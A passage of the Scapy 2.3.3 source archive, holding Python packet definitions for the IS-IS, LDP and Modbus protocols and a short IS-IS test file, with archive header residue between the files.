ConditionalField(ISIS_SystemIdField("neighboursystemid", None), lambda pkt: pkt.len >= 11), ConditionalField(IntField("neighbourextlocalcircuitid", None), lambda pkt: pkt.len == 15)] # TODO dynamically allocate sufficient size class ISIS_PaddingTlv(ISIS_GenericTlv): name = "ISIS Padding TLV" fields_desc = [ ByteEnumField("type", 8, _isis_tlv_names), FieldLenField("len", None, length_of="padding", fmt="B"), BoundStrLenField("padding", "", length_from=lambda pkt: pkt.len) ] class ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv): name = "ISIS Protocols Supported TLV" fields_desc = [ ByteEnumField("type", 129, _isis_tlv_names), FieldLenField("len", None, count_of="nlpids", fmt="B"), FieldListField("nlpids", [], ByteEnumField("", "IPv4", network_layer_protocol_ids), count_from=lambda pkt: pkt.len) ] ####################################################################### ## ISIS Old-Style TLVs ## ####################################################################### class ISIS_IpReachabilityEntry(Packet): name = "ISIS IP Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), IPField("ipaddress", "0.0.0.0"), IPField("subnetmask", "255.255.255.255")] def extract_padding(self, s): return "", s class ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Internal IP Reachability TLV" fields_desc = [ ByteEnumField("type", 128, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len / 12) ] class ISIS_ExternalIpReachabilityTLV(ISIS_GenericTlv): name = "ISIS External IP Reachability TLV" fields_desc = [ ByteEnumField("type", 130, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len / 12) ] class ISIS_IsReachabilityEntry(Packet): name = "ISIS IS Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), ISIS_NodeIdField("neighbourid", "0102.0304.0506.07")] def extract_padding(self, s): return "", s class ISIS_IsReachabilityTlv(ISIS_GenericTlv): name = "ISIS IS Reachability TLV" fields_desc = [ ByteEnumField("type", 2, _isis_tlv_names), FieldLenField("len", None, fmt="B", length_of="neighbours", adjust=lambda pkt,x: x+1), ByteField("virtual", 0), PacketListField("neighbours", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) / 11) ] ####################################################################### ## ISIS PDU Packets ## ####################################################################### _isis_pdu_names = { 15: "L1 LAN Hello", 16: "L2 LAN Hello", 17: "P2P Hello", 18: "L1 LSP", 20: "L2 LSP", 24: "L1 CSNP", 25: "L2 CSNP", 26: "L1 PSNP", 27: "L2 PSNP" } class ISIS_CommonHdr(Packet): name = "ISIS Common Header" fields_desc = [ ByteEnumField("nlpid", 0x83, network_layer_protocol_ids), ByteField("hdrlen", None), ByteField("version", 1), ByteField("idlen", 0), ByteEnumField("pdutype", None, _isis_pdu_names), ByteField("pduversion", 1), ByteField("hdrreserved", 0), ByteField("maxareaaddr", 0) ] def post_build(self, pkt, pay): # calculating checksum if requested pdu = pkt + pay checksumInfo = self[1].checksum_info(self.hdrlen) if checksumInfo is not None: (cbegin, cpos) = checksumInfo checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin)) pdu = pdu[:cpos] + checkbytes + pdu[cpos+2:] return pdu class _ISIS_PduBase(Packet): def checksum_info(self, hdrlen): checksumPosition = hdrlen for tlv in self.tlvs: if isinstance(tlv, ISIS_ChecksumTlv): checksumPosition += 2 return (0, checksumPosition) else: checksumPosition += len(tlv) return None def guess_payload_class(self, p): return conf.padding_layer class _ISIS_PduLengthField(FieldLenField): def __init__(self): FieldLenField.__init__(self, "pdulength", None, length_of="tlvs", adjust=lambda pkt,x: x + pkt.underlayer.hdrlen) class _ISIS_TlvListField(PacketListField): def __init__(self): PacketListField.__init__(self, "tlvs", [], _ISIS_GuessTlvClass, count_from= None, length_from= lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen) class _ISIS_LAN_HelloBase(_ISIS_PduBase): fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("priority", 1), ISIS_NodeIdField("lanid", "0000.0000.0000.00"), _ISIS_TlvListField() ] class ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L1 LAN Hello PDU" class ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L2 LAN Hello PDU" class ISIS_P2P_Hello(_ISIS_PduBase): name = "ISIS Point-to-Point Hello PDU" fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("localcircuitid", 0), _ISIS_TlvListField() ] class _ISIS_LSP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ShortField("lifetime", 1199), ISIS_LspIdField("lspid", "0102.0304.0506.00-00"), XIntField("seqnum", 0x00000001), XShortField("checksum", None), FlagsField("typeblock", 0x03, 8, ["L1", "L2", "OL", "ADef", "ADel", "AExp", "AErr", "P"]), _ISIS_TlvListField() ] def checksum_info(self, hdrlen): if self.checksum is not None: return None return (12, 24) def _lsp_answers(lsp, other, clsname): # TODO return 0 class ISIS_L1_LSP(_ISIS_LSP_Base): name = "ISIS L1 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L1_PSNP") class ISIS_L2_LSP(_ISIS_LSP_Base): name = "ISIS L2 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L2_PSNP") class _ISIS_CSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), ISIS_LspIdField("startlspid", "0000.0000.0000.00-00"), ISIS_LspIdField("endlspid", "FFFF.FFFF.FFFF.FF-FF"), _ISIS_TlvListField() ] def _snp_answers(snp, other, clsname): # TODO return 0 class ISIS_L1_CSNP(_ISIS_CSNP_Base): name = "ISIS L1 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_CSNP(_ISIS_CSNP_Base): name = "ISIS L2 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") class _ISIS_PSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), _ISIS_TlvListField() ] class ISIS_L1_PSNP(_ISIS_PSNP_Base): name = "ISIS L1 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_PSNP(_ISIS_PSNP_Base): name = "ISIS L2 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") register_cln_protocol(0x83, ISIS_CommonHdr) bind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15) bind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16) bind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17) bind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18) bind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20) bind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24) bind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25) bind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26) bind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27) scapy-2.3.3/scapy/contrib/isis.uts000066400000000000000000000036711300136037300171240ustar00rootroot00000000000000% IS-IS Tests * Tests for the IS-IS layer + Basic Layer Tests = Layer Binding p = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello() assert(p[LLC].dsap == 0xfe) assert(p[LLC].ssap == 0xfe) assert(p[LLC].ctrl == 0x03) assert(p[ISIS_CommonHdr].nlpid == 0x83) assert(p[ISIS_CommonHdr].pdutype == 17) assert(p[ISIS_CommonHdr].hdrlen == 20) + Package Tests = LSP p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", tlvs=[ ISIS_AreaTlv( areas=[ISIS_AreaEntry(areaid="49.1000")] ), ISIS_ProtocolsSupportedTlv( nlpids=["IPv4", "IPv6"] ), ISIS_DynamicHostnameTlv( hostname="BR-HH" ), ISIS_IpInterfaceAddressTlv( addresses=["172.16.8.16"] ), ISIS_GenericTlv( type=134, val="\xac\x10\x08\x10" ), ISIS_ExtendedIpReachabilityTlv( pfxs=[ ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30") ] ), ISIS_Ipv6ReachabilityTlv( pfxs=[ ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") ] ), ISIS_ExtendedIsReachabilityTlv( neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10)] ) ] ) p = p.__class__(str(p)) assert(p[ISIS_L2_LSP].pdulength == 150) assert(p[ISIS_L2_LSP].checksum == 0x8701)scapy-2.3.3/scapy/contrib/ldp.py000066400000000000000000000330661300136037300165520ustar00rootroot00000000000000# scapy.contrib.description = Label Distribution Protocol (LDP) # scapy.contrib.status = loads # http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . # Copyright (C) 2010 Florian Duraffourg import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import UDP from scapy.layers.inet import TCP from scapy.base_classes import Net # Guess payload def guess_payload(p): LDPTypes = { 0x0001: LDPNotification, 0x0100: LDPHello, 0x0200: LDPInit, 0x0201: LDPKeepAlive, 0x0300: LDPAddress, 0x0301: LDPAddressWM, 0x0400: LDPLabelMM, 0x0401: LDPLabelReqM, 0x0404: LDPLabelARM, 0x0402: LDPLabelWM, 0x0403: LDPLabelRelM, } type = struct.unpack("!H",p[0:2])[0] type = type & 0x7fff if type == 0x0001 and struct.unpack("!H",p[2:4])[0] > 20: return LDP if type in LDPTypes: return LDPTypes[type] else: return conf.raw_layer ## Fields ## # 3.4.1. FEC TLV class FecTLVField(StrField): islist=1 def m2i(self, pkt, x): nbr = struct.unpack("!H",x[2:4])[0] used = 0 x=x[4:] list=[] while x: #if x[0] == 1: # list.append('Wildcard') #else: #mask=ord(x[8*i+3]) #add=inet_ntoa(x[8*i+4:8*i+8]) mask=ord(x[3]) nbroctets = mask / 8 if mask % 8: nbroctets += 1 add=inet_ntoa(x[4:4+nbroctets]+"\x00"*(4-nbroctets)) list.append( (add, mask) ) used += 4 + nbroctets x=x[4+nbroctets:] return list def i2m(self, pkt, x): if type(x) is str: return x s = "\x01\x00" l = 0 fec = "" for o in x: fec += "\x02\x00\x01" # mask length fec += struct.pack("!B",o[1]) # Prefix fec += inet_aton(o[0]) l += 8 s += struct.pack("!H",l) s += fec return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.2.1. Generic Label TLV class LabelTLVField(StrField): def m2i(self, pkt, x): return struct.unpack("!I",x[4:8])[0] def i2m(self, pkt, x): if type(x) is str: return x s = "\x02\x00\x00\x04" s += struct.pack("!I",x) return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.3. Address List TLV class AddressTLVField(StrField): islist=1 def m2i(self, pkt, x): nbr = struct.unpack("!H",x[2:4])[0] - 2 nbr /= 4 x=x[6:] list=[] for i in xrange(0, nbr): add = x[4*i:4*i+4] list.append(inet_ntoa(add)) return list def i2m(self, pkt, x): if type(x) is str: return x l=2+len(x)*4 s = "\x01\x01"+struct.pack("!H",l)+"\x00\x01" for o in x: s += inet_aton(o) return s def size(self, s): """Get the size of this field""" l = 4 + struct.unpack("!H",s[2:4])[0] return l def getfield(self, pkt, s): l = self.size(s) return s[l:],self.m2i(pkt, s[:l]) # 3.4.6. Status TLV class StatusTLVField(StrField): islist=1 def m2i(self, pkt, x): l = [] statuscode = struct.unpack("!I",x[4:8])[0] l.append( (statuscode & 2**31) >> 31) l.append( (statuscode & 2**30) >> 30) l.append( statuscode & 0x3FFFFFFF ) l.append( struct.unpack("!I", x[8:12])[0] ) l.append( struct.unpack("!H", x[12:14])[0] ) return l def i2m(self, pkt, x): if type(x) is str: return x s = "\x03\x00" + struct.pack("!H",10) statuscode = 0 if x[0] != 0: statuscode += 2**31 if x[1] != 0: statuscode += 2**30 statuscode += x[2] s += struct.pack("!I",statuscode) if len(x) > 3: s += struct.pack("!I",x[3]) else: s += "\x00\x00\x00\x00" if len(x) > 4: s += struct.pack("!H",x[4]) else: s += "\x00\x00" return s def getfield(self, pkt, s): l = 14 return s[l:],self.m2i(pkt, s[:l]) # 3.5.2 Common Hello Parameters TLV class CommonHelloTLVField(StrField): islist = 1 def m2i(self, pkt, x): list = [] v = struct.unpack("!H",x[4:6])[0] list.append(v) flags = struct.unpack("B",x[6])[0] v = ( flags & 0x80 ) >> 7 list.append(v) v = ( flags & 0x40 ) >> 7 list.append(v) return list def i2m(self, pkt, x): if type(x) is str: return x s = "\x04\x00\x00\x04" s += struct.pack("!H",x[0]) byte = 0 if x[1] == 1: byte += 0x80 if x[2] == 1: byte += 0x40 s += struct.pack("!B",byte) s += "\x00" return s def getfield(self, pkt, s): l = 8 return s[l:],self.m2i(pkt, s[:l]) # 3.5.3 Common Session Parameters TLV class CommonSessionTLVField(StrField): islist = 1 def m2i(self, pkt, x): l = [struct.unpack("!H", x[6:8])[0]] octet = struct.unpack("B",x[8:9])[0] l.append( (octet & 2**7 ) >> 7 ) l.append( (octet & 2**6 ) >> 6 ) l.append( struct.unpack("B",x[9:10])[0] ) l.append( struct.unpack("!H",x[10:12])[0] ) l.append( inet_ntoa(x[12:16]) ) l.append( struct.unpack("!H",x[16:18])[0] ) return l def i2m(self, pkt, x): if type(x) is str: return x s = "\x05\x00\x00\x0E\x00\x01" s += struct.pack("!H",x[0]) octet = 0 if x[1] != 0: octet += 2**7 if x[2] != 0: octet += 2**6 s += struct.pack("!B",octet) s += struct.pack("!B",x[3]) s += struct.pack("!H",x[4]) s += inet_aton(x[5]) s += struct.pack("!H",x[6]) return s def getfield(self, pkt, s): l = 18 return s[l:],self.m2i(pkt, s[:l]) ## Messages ## # 3.5.1. Notification Message class LDPNotification(Packet): name = "LDPNotification" fields_desc = [ BitField("u",0,1), BitField("type", 0x0001, 15), ShortField("len", None), IntField("id", 0) , StatusTLVField("status",(0,0,0,0,0)) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.2. Hello Message class LDPHello(Packet): name = "LDPHello" fields_desc = [ BitField("u",0,1), BitField("type", 0x0100, 15), ShortField("len", None), IntField("id", 0) , CommonHelloTLVField("params",[180,0,0]) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.3. Initialization Message class LDPInit(Packet): name = "LDPInit" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0200, 15), ShortField("len", None), IntField("id", 0), CommonSessionTLVField("params",None)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.4. KeepAlive Message class LDPKeepAlive(Packet): name = "LDPKeepAlive" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0201, 15), ShortField("len", None), IntField("id", 0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.5. Address Message class LDPAddress(Packet): name = "LDPAddress" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0300, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address",None) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.6. Address Withdraw Message class LDPAddressWM(Packet): name = "LDPAddressWM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0301, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address",None) ] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.7. Label Mapping Message class LDPLabelMM(Packet): name = "LDPLabelMM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0400, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.8. Label Request Message class LDPLabelReqM(Packet): name = "LDPLabelReqM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0401, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.9. Label Abort Request Message class LDPLabelARM(Packet): name = "LDPLabelARM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0404, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), IntField("labelRMid",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.10. Label Withdraw Message class LDPLabelWM(Packet): name = "LDPLabelWM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0402, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.5.11. Label Release Message class LDPLabelRelM(Packet): name = "LDPLabelRelM" fields_desc = [ BitField("u",0,1), XBitField("type", 0x0403, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec",None), LabelTLVField("label",0)] def post_build(self, p, pay): if self.len is None: l = len(p) - 4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) # 3.1. LDP PDUs class LDP(Packet): name = "LDP" fields_desc = [ ShortField("version",1), ShortField("len", None), IPField("id","127.0.0.1"), ShortField("space",0) ] def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay)-4 p = p[:2]+struct.pack("!H", l)+p[4:] return p+pay def guess_payload_class(self, p): return guess_payload(p) bind_layers( TCP, LDP, sport=646, dport=646 ) bind_layers( UDP, LDP, sport=646, dport=646 ) scapy-2.3.3/scapy/contrib/modbus.py000066400000000000000000000645321300136037300172660ustar00rootroot00000000000000# coding: utf8 # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Copyright (C) 2016 Arthur Gervais, Ken LE PRADO, Sébastien Mainand from scapy.packet import * from scapy.fields import * from scapy.layers.inet import * # TODO: implement serial specific function codes _modbus_exceptions = {1: "Illegal Function Code", 2: "Illegal Data Address", 3: "Illegal Data Value", 4: "Server Device Failure", 5: "Acknowledge", 6: "Server Device Busy", 8: "Memory Parity Error", 10: "Gateway Path Unavailable", 11: "Gateway Target Device Failed to Respond"} class ModbusPDU00GenericRequest(Packet): name = "Generic Request" fields_desc = [XByteField("funcCode", 0x00), StrFixedLenField("payload", "", 255)] def extract_padding(self, s): return "", None def mysummary(self): return self.sprintf("Modbus Request %funcCode%") class ModbusPDU00GenericResponse(Packet): name = "Generic Request" fields_desc = [XByteField("funcCode", 0x00), StrFixedLenField("payload", "", 255)] def extract_padding(self, s): return "", None def mysummary(self): return self.sprintf("Modbus Response %funcCode%") class ModbusPDU00GenericError(Packet): name = "Generic Exception" fields_desc = [XByteField("funcCode", 0x80), ByteEnumField("exceptCode", 1, _modbus_exceptions)] def extract_padding(self, s): return "", None def my_summary(self): return self.sprintf("Modbus Exception %funcCode%") class ModbusPDU01ReadCoilsRequest(Packet): name = "Read Coils Request" fields_desc = [XByteField("funcCode", 0x01), XShortField("startAddr", 0x0000), # 0x0000 to 0xFFFF XShortField("quantity", 0x0001)] def extract_padding(self, s): return "", None class ModbusPDU01ReadCoilsResponse(Packet): name = "Read Coils Response" fields_desc = [XByteField("funcCode", 0x01), BitFieldLenField("byteCount", None, 8, count_of="coilStatus"), FieldListField("coilStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] def extract_padding(self, s): return "", None class ModbusPDU01ReadCoilsError(Packet): name = "Read Coils Exception" fields_desc = [XByteField("funcCode", 0x81), ByteEnumField("exceptCode", 1, _modbus_exceptions)] def extract_padding(self, s): return "", None class ModbusPDU02ReadDiscreteInputsRequest(Packet): name = "Read Discrete Inputs" fields_desc = [XByteField("funcCode", 0x02), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] def extract_padding(self, s): return "", None class ModbusPDU02ReadDiscreteInputsResponse(Packet): """ inputStatus: result is represented as bytes, padded with 0 to have a integer number of bytes. The field does not parse this result and present the bytes directly """ name = "Read Discrete Inputs Response" fields_desc = [XByteField("funcCode", 0x02), BitFieldLenField("byteCount", None, 8, count_of="inputStatus"), FieldListField("inputStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU02ReadDiscreteInputsError(Packet): name = "Read Discrete Inputs Exception" fields_desc = [XByteField("funcCode", 0x82), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU03ReadHoldingRegistersRequest(Packet): name = "Read Holding Registers" fields_desc = [XByteField("funcCode", 0x03), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] def extract_padding(self, s): return "", None class ModbusPDU03ReadHoldingRegistersResponse(Packet): name = "Read Holding Registers Response" fields_desc = [XByteField("funcCode", 0x03), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU03ReadHoldingRegistersError(Packet): name = "Read Holding Registers Exception" fields_desc = [XByteField("funcCode", 0x83), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU04ReadInputRegistersRequest(Packet): name = "Read Input Registers" fields_desc = [XByteField("funcCode", 0x04), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] def extract_padding(self, s): return "", None class ModbusPDU04ReadInputRegistersResponse(Packet): name = "Read Input Registers Response" fields_desc = [XByteField("funcCode", 0x04), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU04ReadInputRegistersError(Packet): name = "Read Input Registers Exception" fields_desc = [XByteField("funcCode", 0x84), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU05WriteSingleCoilRequest(Packet): name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), XShortField("outputAddr", 0x0000), # from 0x0000 to 0xFFFF XShortField("outputValue", 0x0000)] # 0x0000 == Off, 0xFF00 == On class ModbusPDU05WriteSingleCoilResponse(Packet): # The answer is the same as the request if successful name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), XShortField("outputAddr", 0x0000), # from 0x0000 to 0xFFFF XShortField("outputValue", 0x0000)] # 0x0000 == Off, 0xFF00 == On class ModbusPDU05WriteSingleCoilError(Packet): name = "Write Single Coil Exception" fields_desc = [XByteField("funcCode", 0x85), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU06WriteSingleRegisterRequest(Packet): name = "Write Single Register" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] def extract_padding(self, s): return "", None class ModbusPDU06WriteSingleRegisterResponse(Packet): name = "Write Single Register Response" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] class ModbusPDU06WriteSingleRegisterError(Packet): name = "Write Single Register Exception" fields_desc = [XByteField("funcCode", 0x86), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU07ReadExceptionStatusRequest(Packet): name = "Read Exception Status" fields_desc = [XByteField("funcCode", 0x07)] def extract_padding(self, s): return "", None class ModbusPDU07ReadExceptionStatusResponse(Packet): name = "Read Exception Status Response" fields_desc = [XByteField("funcCode", 0x07), XByteField("startingAddr", 0x00)] class ModbusPDU07ReadExceptionStatusError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0x87), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU0FWriteMultipleCoilsRequest(Packet): name = "Write Multiple Coils" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startingAddr", 0x0000), XShortField("quantityOutput", 0x0001), BitFieldLenField("byteCount", None, 8, count_of="outputsValue"), FieldListField("outputsValue", [0x00], XByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] def extract_padding(self, s): return "", None class ModbusPDU0FWriteMultipleCoilsResponse(Packet): name = "Write Multiple Coils Response" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startingAddr", 0x0000), XShortField("quantityOutput", 0x0001)] class ModbusPDU0FWriteMultipleCoilsError(Packet): name = "Write Multiple Coils Exception" fields_desc = [XByteField("funcCode", 0x8F), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU10WriteMultipleRegistersRequest(Packet): name = "Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x10), XShortField("startingAddr", 0x0000), BitFieldLenField("quantityRegisters", None, 16, count_of="outputsValue",), BitFieldLenField("byteCount", None, 8, count_of="outputsValue", adjust=lambda pkt, x: x*2), FieldListField("outputsValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU10WriteMultipleRegistersResponse(Packet): name = "Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x10), XShortField("startingAddr", 0x0000), XShortField("quantityRegisters", 0x0001)] class ModbusPDU10WriteMultipleRegistersError(Packet): name = "Write Multiple Registers Exception" fields_desc = [XByteField("funcCode", 0x90), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU11ReportSlaveIdRequest(Packet): name = "Report Slave Id" fields_desc = [XByteField("funcCode", 0x11)] def extract_padding(self, s): return "", None class ModbusPDU11ReportSlaveIdResponse(Packet): name = "Report Slave Id Response" fields_desc = [XByteField("funcCode", 0x11), BitFieldLenField("byteCount", None, 8, length_of="slaveId"), ConditionalField(StrLenField("slaveId", "", length_from=lambda pkt: pkt.byteCount), lambda pkt: pkt.byteCount > 0), ConditionalField(XByteField("runIdicatorStatus", 0x00), lambda pkt: pkt.byteCount > 0)] class ModbusPDU11ReportSlaveIdError(Packet): name = "Report Slave Id Exception" fields_desc = [XByteField("funcCode", 0x91), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusReadFileSubRequest(Packet): name = "Sub-request of Read File Record" fields_desc = [ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), ShortField("recordLength", 0x0001)] def guess_payload_class(self, payload): return ModbusReadFileSubRequest class ModbusPDU14ReadFileRecordRequest(Packet): name = "Read File Record" fields_desc = [XByteField("funcCode", 0x14), ByteField("byteCount", None)] def guess_payload_class(self, payload): if self.byteCount > 0: return ModbusReadFileSubRequest else: return Packet.guess_payload_class(self, payload) def post_build(self, p, pay): if self.byteCount is None: l = len(pay) p = p[:1] + struct.pack("!B", l) + p[3:] return p + pay class ModbusReadFileSubResponse(Packet): name = "Sub-response" fields_desc = [BitFieldLenField("respLength", None, 8, count_of="recData", adjust=lambda pkt, p: p*2+1), ByteField("refType", 0x06), FieldListField("recData", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: (pkt.respLength-1)/2)] def 